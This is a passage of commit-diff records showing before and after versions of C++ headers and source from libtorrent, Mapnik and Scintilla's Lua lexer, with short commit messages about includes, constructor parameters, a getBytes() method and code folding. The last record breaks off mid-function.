TORRENT_CONFIG_HPP_INCLUDED <commit_msg>Include limits.h to get NAME_MAX on Unix.<commit_after>/* Copyright (c) 2005, Arvid Norberg All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the author nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef TORRENT_CONFIG_HPP_INCLUDED #define TORRENT_CONFIG_HPP_INCLUDED #include <boost/config.hpp> #include <boost/version.hpp> #include <stdio.h> // for snprintf #ifndef WIN32 #define __STDC_FORMAT_MACROS #include <inttypes.h> #endif #ifndef PRId64 #ifdef _WIN32 #define PRId64 "I64d" #else #define PRId64 "lld" #endif #endif #if defined(__GNUC__) && __GNUC__ >= 4 #define TORRENT_DEPRECATED __attribute__ ((deprecated)) # if defined(TORRENT_BUILDING_SHARED) || defined(TORRENT_LINKING_SHARED) # define TORRENT_EXPORT __attribute__ ((visibility("default"))) # else # define TORRENT_EXPORT # endif #elif defined(__GNUC__) # define TORRENT_EXPORT #elif defined(BOOST_MSVC) #pragma warning(disable: 4258) #pragma warning(disable: 4251) # if defined(TORRENT_BUILDING_SHARED) # define TORRENT_EXPORT __declspec(dllexport) # elif defined(TORRENT_LINKING_SHARED) # define TORRENT_EXPORT __declspec(dllimport) # else # define TORRENT_EXPORT # endif #else # define TORRENT_EXPORT #endif #ifndef TORRENT_DEPRECATED #define TORRENT_DEPRECATED #endif // set up defines for target environments #if (defined __APPLE__ && __MACH__) || defined __FreeBSD__ || defined __NetBSD__ \ || defined __OpenBSD__ || defined __bsdi__ || defined __DragonFly__ \ || defined __FreeBSD_kernel__ #define TORRENT_BSD #elif defined __linux__ #define TORRENT_LINUX #elif defined WIN32 #define TORRENT_WINDOWS #elif defined sun || defined __sun #define TORRENT_SOLARIS #else #warning unkown OS, assuming BSD #define TORRENT_BSD #endif #define TORRENT_USE_IPV6 1 #define TORRENT_USE_MLOCK 1 #define TORRENT_USE_READV 1 #define TORRENT_USE_WRITEV 1 #define TORRENT_USE_IOSTREAM 1 // should wpath or path be used? #if defined UNICODE && !defined BOOST_FILESYSTEM_NARROW_ONLY \ && BOOST_VERSION >= 103400 && !defined __APPLE__ #define TORRENT_USE_WPATH 1 #else #define TORRENT_USE_WPATH 0 #endif #ifdef TORRENT_WINDOWS #include <stdarg.h> // this is the maximum number of characters in a // path element / filename on windows #define NAME_MAX 255 inline int snprintf(char* buf, int len, char const* fmt, ...) { va_list lp; va_start(lp, fmt); return vsnprintf_s(buf, len, _TRUNCATE, fmt, lp); } #define strtoll _strtoi64 #else #include <limits.h> #endif #if (defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)) && !defined (TORRENT_UPNP_LOGGING) #define TORRENT_UPNP_LOGGING #endif #if !TORRENT_USE_WPATH && defined TORRENT_LINUX // libiconv presnce, not implemented yet #define TORRENT_USE_LOCALE_FILENAMES 1 #else #define TORRENT_USE_LOCALE_FILENAMES 0 #endif #if !defined(TORRENT_READ_HANDLER_MAX_SIZE) # define TORRENT_READ_HANDLER_MAX_SIZE 256 #endif #if !defined(TORRENT_WRITE_HANDLER_MAX_SIZE) # define TORRENT_WRITE_HANDLER_MAX_SIZE 256 #endif // determine what timer implementation we can use #if defined(__MACH__) #define TORRENT_USE_ABSOLUTE_TIME 1 #elif defined(_WIN32) #define TORRENT_USE_QUERY_PERFORMANCE_TIMER 1 #elif defined(_POSIX_MONOTONIC_CLOCK) && _POSIX_MONOTONIC_CLOCK >= 0 #define TORRENT_USE_CLOCK_GETTIME 1 #else #define TORRENT_USE_BOOST_DATE_TIME 1 #endif #endif // TORRENT_CONFIG_HPP_INCLUDED <|endoftext|>
<commit_before>/***************************************************************************** * * This file is part of Mapnik (c++ mapping toolkit) * * Copyright (C) 2006 Artem Pavlenko * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA * *****************************************************************************/ //$Id: datasource.hpp 43 2005-04-22 18:52:47Z pavlenko $ #ifndef DATASOURCE_HPP #define DATASOURCE_HPP // mapnik #include <mapnik/config.hpp> #include <mapnik/ctrans.hpp> #include <mapnik/params.hpp> #include <mapnik/feature.hpp> #include <mapnik/query.hpp> #include <mapnik/feature_layer_desc.hpp> // boost #include <boost/utility.hpp> #include <boost/shared_ptr.hpp> // stl #include <map> #include <string> namespace mapnik { typedef MAPNIK_DECL boost::shared_ptr<Feature> feature_ptr; struct MAPNIK_DECL Featureset { virtual feature_ptr next()=0; virtual ~Featureset() {}; }; typedef MAPNIK_DECL boost::shared_ptr<Featureset> featureset_ptr; class MAPNIK_DECL datasource_exception : public std::exception { private: std::string message_; public: datasource_exception(const std::string& message=std::string("no reason")) :message_(message) {} ~datasource_exception() throw() {} virtual const char* what() const throw() { return message_.c_str(); } }; class MAPNIK_DECL datasource : private boost::noncopyable { public: enum datasource_t { Vector, Raster }; datasource (parameters const& params, bool bind=true) : params_(params), is_bound_(false) {} /*! * @brief Get the configuration parameters of the data source. * * These vary depending on the type of data source. * * @return The configuration parameters of the data source. */ parameters const& params() const { return params_; } /*! * @brief Get the type of the datasource * @return The type of the datasource (Vector or Raster) */ virtual int type() const=0; /*! * @brief Connect to the datasource */ virtual void bind() const {}; virtual featureset_ptr features(const query& q) const=0; virtual featureset_ptr features_at_point(coord2d const& pt) const=0; virtual box2d<double> envelope() const=0; virtual layer_descriptor get_descriptor() const=0; virtual ~datasource() {}; protected: parameters params_; mutable bool is_bound_; }; typedef std::string datasource_name(); typedef datasource* create_ds(const parameters& params, bool bind); typedef void destroy_ds(datasource *ds); class datasource_deleter { public: void operator() (datasource* ds) { delete ds; } }; typedef boost::shared_ptr<datasource> datasource_ptr; #define DATASOURCE_PLUGIN(classname) \ extern "C" MAPNIK_EXP std::string datasource_name() \ { \ return classname::name(); \ } \ extern "C" MAPNIK_EXP datasource* create(const parameters &params, bool bind) \ { \ return new classname(params, bind); \ } \ extern "C" MAPNIK_EXP void destroy(datasource *ds) \ { \ delete ds; \ } \ // } #endif //DATASOURCE_HPP <commit_msg>+ remove 'bind' param from datasource (base class) ctor (FIXME: would be better to use parameters to pass to specific options to concrete datasource implementations)<commit_after>/***************************************************************************** * * This file is part of Mapnik (c++ mapping toolkit) * * Copyright (C) 2006 Artem Pavlenko * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA * *****************************************************************************/ //$Id: datasource.hpp 43 2005-04-22 18:52:47Z pavlenko $ #ifndef DATASOURCE_HPP #define DATASOURCE_HPP // mapnik #include <mapnik/config.hpp> #include <mapnik/ctrans.hpp> #include <mapnik/params.hpp> #include <mapnik/feature.hpp> #include <mapnik/query.hpp> #include <mapnik/feature_layer_desc.hpp> // boost #include <boost/utility.hpp> #include <boost/shared_ptr.hpp> // stl #include <map> #include <string> namespace mapnik { typedef MAPNIK_DECL boost::shared_ptr<Feature> feature_ptr; struct MAPNIK_DECL Featureset { virtual feature_ptr next()=0; virtual ~Featureset() {}; }; typedef MAPNIK_DECL boost::shared_ptr<Featureset> featureset_ptr; class MAPNIK_DECL datasource_exception : public std::exception { private: std::string message_; public: datasource_exception(const std::string& message=std::string("no reason")) :message_(message) {} ~datasource_exception() throw() {} virtual const char* what() const throw() { return message_.c_str(); } }; class MAPNIK_DECL datasource : private boost::noncopyable { public: enum datasource_t { Vector, Raster }; datasource (parameters const& params) : params_(params), is_bound_(false) {} /*! * @brief Get the configuration parameters of the data source. * * These vary depending on the type of data source. * * @return The configuration parameters of the data source. */ parameters const& params() const { return params_; } /*! * @brief Get the type of the datasource * @return The type of the datasource (Vector or Raster) */ virtual int type() const=0; /*! * @brief Connect to the datasource */ virtual void bind() const {}; virtual featureset_ptr features(const query& q) const=0; virtual featureset_ptr features_at_point(coord2d const& pt) const=0; virtual box2d<double> envelope() const=0; virtual layer_descriptor get_descriptor() const=0; virtual ~datasource() {}; protected: parameters params_; mutable bool is_bound_; }; typedef std::string datasource_name(); typedef datasource* create_ds(const parameters& params, bool bind); typedef void destroy_ds(datasource *ds); class datasource_deleter { public: void operator() (datasource* ds) { delete ds; } }; typedef boost::shared_ptr<datasource> datasource_ptr; #define DATASOURCE_PLUGIN(classname) \ extern "C" MAPNIK_EXP std::string datasource_name() \ { \ return classname::name(); \ } \ extern "C" MAPNIK_EXP datasource* create(const parameters &params, bool bind) \ { \ return new classname(params, bind); \ } \ extern "C" MAPNIK_EXP void destroy(datasource *ds) \ { \ delete ds; \ } \ // } #endif //DATASOURCE_HPP <|endoftext|>
<commit_before>/***************************************************************************** * * This file is part of Mapnik (c++ mapping toolkit) * * Copyright (C) 2011 Artem Pavlenko * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA * *****************************************************************************/ #ifndef MAPNIK_IMAGE_VIEW_HPP #define MAPNIK_IMAGE_VIEW_HPP namespace mapnik { template <typename T> class image_view { public: typedef typename T::pixel_type pixel_type; image_view(unsigned x, unsigned y, unsigned width, unsigned height, T const& data) : x_(x), y_(y), width_(width), height_(height), data_(data) { if (x_ >= data_.width()) x_=data_.width()-1; if (y_ >= data_.height()) x_=data_.height()-1; if (x_ + width_ > data_.width()) width_= data_.width() - x_; if (y_ + height_ > data_.height()) height_= data_.height() - y_; } ~image_view() {} image_view(image_view<T> const& rhs) : x_(rhs.x_), y_(rhs.y_), width_(rhs.width_), height_(rhs.height_), data_(rhs.data_) {} image_view<T> & operator=(image_view<T> const& rhs) { if (&rhs==this) return *this; x_ = rhs.x_; y_ = rhs.y_; width_ = rhs.width_; height_ = rhs.height_; data_ = rhs.data_; return *this; } inline unsigned x() const { return x_; } inline unsigned y() const { return y_; } inline unsigned width() const { return width_; } inline unsigned height() const { return height_; } inline const pixel_type* getRow(unsigned row) const { return data_.getRow(row + y_) + x_; } inline T& data() { return data_; } inline T const& data() const { return data_; } private: unsigned x_; unsigned y_; unsigned width_; unsigned height_; T const& data_; }; } #endif // MAPNIK_IMAGE_VIEW_HPP <commit_msg>+ add getBytes() method ( needed by webp i/o)<commit_after>/***************************************************************************** * * This file is part of Mapnik (c++ mapping toolkit) * * Copyright (C) 2011 Artem Pavlenko * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA * *****************************************************************************/ #ifndef MAPNIK_IMAGE_VIEW_HPP #define MAPNIK_IMAGE_VIEW_HPP namespace mapnik { template <typename T> class image_view { public: typedef typename T::pixel_type pixel_type; image_view(unsigned x, unsigned y, unsigned width, unsigned height, T const& data) : x_(x), y_(y), width_(width), height_(height), data_(data) { if (x_ >= data_.width()) x_=data_.width()-1; if (y_ >= data_.height()) x_=data_.height()-1; if (x_ + width_ > data_.width()) width_= data_.width() - x_; if (y_ + height_ > data_.height()) height_= data_.height() - y_; } ~image_view() {} image_view(image_view<T> const& rhs) : x_(rhs.x_), y_(rhs.y_), width_(rhs.width_), height_(rhs.height_), data_(rhs.data_) {} image_view<T> & operator=(image_view<T> const& rhs) { if (&rhs==this) return *this; x_ = rhs.x_; y_ = rhs.y_; width_ = rhs.width_; height_ = rhs.height_; data_ = rhs.data_; return *this; } inline unsigned x() const { return x_; } inline unsigned y() const { return y_; } inline unsigned width() const { return width_; } inline unsigned height() const { return height_; } inline const pixel_type* getRow(unsigned row) const { return data_.getRow(row + y_) + x_; } inline char const* getBytes() const { return reinterpret_cast<char const*>(&data_); } inline T& data() { return data_; } inline T const& data() const { return data_; } private: unsigned x_; unsigned y_; unsigned width_; unsigned height_; T const& data_; }; } #endif // MAPNIK_IMAGE_VIEW_HPP <|endoftext|>
<commit_before>// Scintilla source code edit control /** @file LexLua.cxx ** Lexer for Lua language. ** ** Written by Paul Winwood. ** Folder by Alexey Yutkin. ** Modified by Marcos E. Wurzius & Philippe Lhoste **/ #include <stdlib.h> #include <string.h> #include <ctype.h> #include <stdarg.h> #include <stdio.h> #include <fcntl.h> #include "Platform.h" #include "PropSet.h" #include "Accessor.h" #include "StyleContext.h" #include "KeyWords.h" #include "Scintilla.h" #include "SciLexer.h" static inline bool IsAWordChar(const int ch) { return (ch < 0x80) && (isalnum(ch) || ch == '.' || ch == '_'); } inline bool IsAWordStart(const int ch) { return (ch < 0x80) && (isalnum(ch) || ch == '_'); } inline bool isLuaOperator(char ch) { if (isalnum(ch)) return false; // '.' left out as it is used to make up numbers if (ch == '*' || ch == '/' || ch == '-' || ch == '+' || ch == '(' || ch == ')' || ch == '=' || ch == '{' || ch == '}' || ch == '~' || ch == '[' || ch == ']' || ch == ';' || ch == '<' || ch == '>' || ch == ',' || ch == '.' || ch == '^' || ch == '%' || ch == ':') return true; return false; } static void ColouriseLuaDoc( unsigned int startPos, int length, int initStyle, WordList *keywordlists[], Accessor &styler) { WordList &keywords = *keywordlists[0]; WordList &keywords2 = *keywordlists[1]; WordList &keywords3 = *keywordlists[2]; WordList &keywords4 = *keywordlists[3]; WordList &keywords5 = *keywordlists[4]; WordList &keywords6 = *keywordlists[5]; int currentLine = styler.GetLine(startPos); // Initialize the literal string [[ ... ]] nesting level, if we are inside such a string. int literalStringLevel = 0; if (initStyle == SCE_LUA_LITERALSTRING) { literalStringLevel = styler.GetLineState(currentLine - 1); } // Initialize the block comment --[[ ... ]] nesting level, if we are inside such a comment int blockCommentLevel = 0; if (initStyle == SCE_LUA_COMMENT) { blockCommentLevel = styler.GetLineState(currentLine - 1); } // Do not leak onto next line if (initStyle == SCE_LUA_STRINGEOL) { initStyle = SCE_LUA_DEFAULT; } StyleContext sc(startPos, length, initStyle, styler); if (startPos == 0 && sc.ch == '#') { // shbang line: # is a comment only if first char of the script sc.SetState(SCE_LUA_COMMENTLINE); } for (; sc.More(); sc.Forward()) { if (sc.atLineEnd) { // Update the line state, so it can be seen by next line currentLine = styler.GetLine(sc.currentPos); switch (sc.state) { case SCE_LUA_LITERALSTRING: // Inside a literal string, we set the line state styler.SetLineState(currentLine, literalStringLevel); break; case SCE_LUA_COMMENT: // Block comment // Inside a block comment, we set the line state styler.SetLineState(currentLine, blockCommentLevel); break; default: // Reset the line state styler.SetLineState(currentLine, 0); break; } } if (sc.atLineStart && (sc.state == SCE_LUA_STRING)) { // Prevent SCE_LUA_STRINGEOL from leaking back to previous line sc.SetState(SCE_LUA_STRING); } // Handle string line continuation if ((sc.state == SCE_LUA_STRING || sc.state == SCE_LUA_CHARACTER) && sc.ch == '\\') { if (sc.chNext == '\n' || sc.chNext == '\r') { sc.Forward(); if (sc.ch == '\r' && sc.chNext == '\n') { sc.Forward(); } continue; } } // Determine if the current state should terminate. if (sc.state == SCE_LUA_OPERATOR) { sc.SetState(SCE_LUA_DEFAULT); } else if (sc.state == SCE_LUA_NUMBER) { if (!IsAWordChar(sc.ch)) { sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_IDENTIFIER) { if (!IsAWordChar(sc.ch) || (sc.ch == '.')) { char s[100]; sc.GetCurrent(s, sizeof(s)); if (keywords.InList(s)) { sc.ChangeState(SCE_LUA_WORD); } else if (keywords2.InList(s)) { sc.ChangeState(SCE_LUA_WORD2); } else if (keywords3.InList(s)) { sc.ChangeState(SCE_LUA_WORD3); } else if (keywords4.InList(s)) { sc.ChangeState(SCE_LUA_WORD4); } else if (keywords5.InList(s)) { sc.ChangeState(SCE_LUA_WORD5); } else if (keywords6.InList(s)) { sc.ChangeState(SCE_LUA_WORD6); } sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_COMMENTLINE ) { if (sc.atLineEnd) { sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_PREPROCESSOR ) { if (sc.atLineEnd) { sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_STRING) { if (sc.ch == '\\') { if (sc.chNext == '\"' || sc.chNext == '\'' || sc.chNext == '\\') { sc.Forward(); } } else if (sc.ch == '\"') { sc.ForwardSetState(SCE_LUA_DEFAULT); } else if (sc.atLineEnd) { sc.ChangeState(SCE_LUA_STRINGEOL); sc.ForwardSetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_CHARACTER) { if (sc.ch == '\\') { if (sc.chNext == '\"' || sc.chNext == '\'' || sc.chNext == '\\') { sc.Forward(); } } else if (sc.ch == '\'') { sc.ForwardSetState(SCE_LUA_DEFAULT); } else if (sc.atLineEnd) { sc.ChangeState(SCE_LUA_STRINGEOL); sc.ForwardSetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_LITERALSTRING) { if (sc.Match('[', '[')) { literalStringLevel++; sc.Forward(); sc.SetState(SCE_LUA_LITERALSTRING); } else if (sc.Match(']', ']') && literalStringLevel > 0) { literalStringLevel--; sc.Forward(); if (literalStringLevel == 0) { sc.ForwardSetState(SCE_LUA_DEFAULT); } } } else if (sc.state == SCE_LUA_COMMENT) { // Lua 5.0's block comment if (sc.Match('[', '[')) { blockCommentLevel++; sc.Forward(); } else if (sc.Match(']', ']') && blockCommentLevel > 0) { blockCommentLevel--; sc.Forward(); if (blockCommentLevel == 0) { sc.ForwardSetState(SCE_LUA_DEFAULT); } } } // Determine if a new state should be entered. if (sc.state == SCE_LUA_DEFAULT) { if (IsADigit(sc.ch) || (sc.ch == '.' && IsADigit(sc.chNext))) { sc.SetState(SCE_LUA_NUMBER); } else if (IsAWordStart(sc.ch)) { sc.SetState(SCE_LUA_IDENTIFIER); } else if (sc.Match('\"')) { sc.SetState(SCE_LUA_STRING); } else if (sc.Match('\'')) { sc.SetState(SCE_LUA_CHARACTER); } else if (sc.Match('[', '[')) { literalStringLevel = 1; sc.SetState(SCE_LUA_LITERALSTRING); sc.Forward(); } else if (sc.Match("--[[")) { // Lua 5.0's block comment blockCommentLevel = 1; sc.SetState(SCE_LUA_COMMENT); sc.Forward(3); } else if (sc.Match('-', '-')) { sc.SetState(SCE_LUA_COMMENTLINE); sc.Forward(); } else if (sc.atLineStart && sc.Match('$')) { sc.SetState(SCE_LUA_PREPROCESSOR); // Obsolete since Lua 4.0, but still in old code } else if (isLuaOperator(static_cast<char>(sc.ch))) { sc.SetState(SCE_LUA_OPERATOR); } } } sc.Complete(); } static void FoldLuaDoc(unsigned int startPos, int length, int /* initStyle */, WordList *[], Accessor &styler) { unsigned int lengthDoc = startPos + length; int visibleChars = 0; int lineCurrent = styler.GetLine(startPos); int levelPrev = styler.LevelAt(lineCurrent) & SC_FOLDLEVELNUMBERMASK; int levelCurrent = levelPrev; char chNext = styler[startPos]; bool foldCompact = styler.GetPropertyInt("fold.compact", 1) != 0; int styleNext = styler.StyleAt(startPos); char s[10]; for (unsigned int i = startPos; i < lengthDoc; i++) { char ch = chNext; chNext = styler.SafeGetCharAt(i + 1); int style = styleNext; styleNext = styler.StyleAt(i + 1); bool atEOL = (ch == '\r' && chNext != '\n') || (ch == '\n'); if (style == SCE_LUA_WORD) { if (ch == 'i' || ch == 'd' || ch == 'f' || ch == 'e') { for (unsigned int j = 0; j < 8; j++) { if (!iswordchar(styler[i + j])) { break; } s[j] = styler[i + j]; s[j + 1] = '\0'; } if ((strcmp(s, "if") == 0) || (strcmp(s, "do") == 0) || (strcmp(s, "function") == 0)) { levelCurrent++; } if ((strcmp(s, "end") == 0) || (strcmp(s, "elseif") == 0)) { levelCurrent--; } } } else if (style == SCE_LUA_OPERATOR) { if (ch == '{' || ch == '(') { levelCurrent++; } else if (ch == '}' || ch == ')') { levelCurrent--; } } if (atEOL) { int lev = levelPrev; if (visibleChars == 0 && foldCompact) { lev |= SC_FOLDLEVELWHITEFLAG; } if ((levelCurrent > levelPrev) && (visibleChars > 0)) { lev |= SC_FOLDLEVELHEADERFLAG; } if (lev != styler.LevelAt(lineCurrent)) { styler.SetLevel(lineCurrent, lev); } lineCurrent++; levelPrev = levelCurrent; visibleChars = 0; } if (!isspacechar(ch)) { visibleChars++; } } // Fill in the real level of the next line, keeping the current flags as they will be filled in later int flagsNext = styler.LevelAt(lineCurrent) & ~SC_FOLDLEVELNUMBERMASK; styler.SetLevel(lineCurrent, levelPrev | flagsNext); } static const char * const luaWordListDesc[] = { "Keywords", "Basic functions", "String & math functions", "I/O & system facilities", "XXX", "XXX", 0 }; LexerModule lmLua(SCLEX_LUA, ColouriseLuaDoc, "lua", FoldLuaDoc, luaWordListDesc); <commit_msg>Patch from Alexey to fold literal strings and comments.<commit_after>// Scintilla source code edit control /** @file LexLua.cxx ** Lexer for Lua language. ** ** Written by Paul Winwood. ** Folder by Alexey Yutkin. ** Modified by Marcos E. Wurzius & Philippe Lhoste **/ #include <stdlib.h> #include <string.h> #include <ctype.h> #include <stdarg.h> #include <stdio.h> #include <fcntl.h> #include "Platform.h" #include "PropSet.h" #include "Accessor.h" #include "StyleContext.h" #include "KeyWords.h" #include "Scintilla.h" #include "SciLexer.h" static inline bool IsAWordChar(const int ch) { return (ch < 0x80) && (isalnum(ch) || ch == '.' || ch == '_'); } inline bool IsAWordStart(const int ch) { return (ch < 0x80) && (isalnum(ch) || ch == '_'); } inline bool isLuaOperator(char ch) { if (isalnum(ch)) return false; // '.' left out as it is used to make up numbers if (ch == '*' || ch == '/' || ch == '-' || ch == '+' || ch == '(' || ch == ')' || ch == '=' || ch == '{' || ch == '}' || ch == '~' || ch == '[' || ch == ']' || ch == ';' || ch == '<' || ch == '>' || ch == ',' || ch == '.' || ch == '^' || ch == '%' || ch == ':') return true; return false; } static void ColouriseLuaDoc( unsigned int startPos, int length, int initStyle, WordList *keywordlists[], Accessor &styler) { WordList &keywords = *keywordlists[0]; WordList &keywords2 = *keywordlists[1]; WordList &keywords3 = *keywordlists[2]; WordList &keywords4 = *keywordlists[3]; WordList &keywords5 = *keywordlists[4]; WordList &keywords6 = *keywordlists[5]; int currentLine = styler.GetLine(startPos); // Initialize the literal string [[ ... ]] nesting level, if we are inside such a string. int literalStringLevel = 0; if (initStyle == SCE_LUA_LITERALSTRING) { literalStringLevel = styler.GetLineState(currentLine - 1); } // Initialize the block comment --[[ ... ]] nesting level, if we are inside such a comment int blockCommentLevel = 0; if (initStyle == SCE_LUA_COMMENT) { blockCommentLevel = styler.GetLineState(currentLine - 1); } // Do not leak onto next line if (initStyle == SCE_LUA_STRINGEOL) { initStyle = SCE_LUA_DEFAULT; } StyleContext sc(startPos, length, initStyle, styler); if (startPos == 0 && sc.ch == '#') { // shbang line: # is a comment only if first char of the script sc.SetState(SCE_LUA_COMMENTLINE); } for (; sc.More(); sc.Forward()) { if (sc.atLineEnd) { // Update the line state, so it can be seen by next line currentLine = styler.GetLine(sc.currentPos); switch (sc.state) { case SCE_LUA_LITERALSTRING: // Inside a literal string, we set the line state styler.SetLineState(currentLine, literalStringLevel); break; case SCE_LUA_COMMENT: // Block comment // Inside a block comment, we set the line state styler.SetLineState(currentLine, blockCommentLevel); break; default: // Reset the line state styler.SetLineState(currentLine, 0); break; } } if (sc.atLineStart && (sc.state == SCE_LUA_STRING)) { // Prevent SCE_LUA_STRINGEOL from leaking back to previous line sc.SetState(SCE_LUA_STRING); } // Handle string line continuation if ((sc.state == SCE_LUA_STRING || sc.state == SCE_LUA_CHARACTER) && sc.ch == '\\') { if (sc.chNext == '\n' || sc.chNext == '\r') { sc.Forward(); if (sc.ch == '\r' && sc.chNext == '\n') { sc.Forward(); } continue; } } // Determine if the current state should terminate. if (sc.state == SCE_LUA_OPERATOR) { sc.SetState(SCE_LUA_DEFAULT); } else if (sc.state == SCE_LUA_NUMBER) { if (!IsAWordChar(sc.ch)) { sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_IDENTIFIER) { if (!IsAWordChar(sc.ch) || (sc.ch == '.')) { char s[100]; sc.GetCurrent(s, sizeof(s)); if (keywords.InList(s)) { sc.ChangeState(SCE_LUA_WORD); } else if (keywords2.InList(s)) { sc.ChangeState(SCE_LUA_WORD2); } else if (keywords3.InList(s)) { sc.ChangeState(SCE_LUA_WORD3); } else if (keywords4.InList(s)) { sc.ChangeState(SCE_LUA_WORD4); } else if (keywords5.InList(s)) { sc.ChangeState(SCE_LUA_WORD5); } else if (keywords6.InList(s)) { sc.ChangeState(SCE_LUA_WORD6); } sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_COMMENTLINE ) { if (sc.atLineEnd) { sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_PREPROCESSOR ) { if (sc.atLineEnd) { sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_STRING) { if (sc.ch == '\\') { if (sc.chNext == '\"' || sc.chNext == '\'' || sc.chNext == '\\') { sc.Forward(); } } else if (sc.ch == '\"') { sc.ForwardSetState(SCE_LUA_DEFAULT); } else if (sc.atLineEnd) { sc.ChangeState(SCE_LUA_STRINGEOL); sc.ForwardSetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_CHARACTER) { if (sc.ch == '\\') { if (sc.chNext == '\"' || sc.chNext == '\'' || sc.chNext == '\\') { sc.Forward(); } } else if (sc.ch == '\'') { sc.ForwardSetState(SCE_LUA_DEFAULT); } else if (sc.atLineEnd) { sc.ChangeState(SCE_LUA_STRINGEOL); sc.ForwardSetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_LITERALSTRING) { if (sc.Match('[', '[')) { literalStringLevel++; sc.Forward(); sc.SetState(SCE_LUA_LITERALSTRING); } else if (sc.Match(']', ']') && literalStringLevel > 0) { literalStringLevel--; sc.Forward(); if (literalStringLevel == 0) { sc.ForwardSetState(SCE_LUA_DEFAULT); } } } else if (sc.state == SCE_LUA_COMMENT) { // Lua 5.0's block comment if (sc.Match('[', '[')) { blockCommentLevel++; sc.Forward(); } else if (sc.Match(']', ']') && blockCommentLevel > 0) { blockCommentLevel--; sc.Forward(); if (blockCommentLevel == 0) { sc.ForwardSetState(SCE_LUA_DEFAULT); } } } // Determine if a new state should be entered. if (sc.state == SCE_LUA_DEFAULT) { if (IsADigit(sc.ch) || (sc.ch == '.' && IsADigit(sc.chNext))) { sc.SetState(SCE_LUA_NUMBER); } else if (IsAWordStart(sc.ch)) { sc.SetState(SCE_LUA_IDENTIFIER); } else if (sc.Match('\"')) { sc.SetState(SCE_LUA_STRING); } else if (sc.Match('\'')) { sc.SetState(SCE_LUA_CHARACTER); } else if (sc.Match('[', '[')) { literalStringLevel = 1; sc.SetState(SCE_LUA_LITERALSTRING); sc.Forward(); } else if (sc.Match("--[[")) { // Lua 5.0's block comment blockCommentLevel = 1; sc.SetState(SCE_LUA_COMMENT); sc.Forward(3); } else if (sc.Match('-', '-')) { sc.SetState(SCE_LUA_COMMENTLINE); sc.Forward(); } else if (sc.atLineStart && sc.Match('$')) { sc.SetState(SCE_LUA_PREPROCESSOR); // Obsolete since Lua 4.0, but still in old code } else if (isLuaOperator(static_cast<char>(sc.ch))) { sc.SetState(SCE_LUA_OPERATOR); } } } sc.Complete(); } static void FoldLuaDoc(unsigned int startPos, int length, int /* 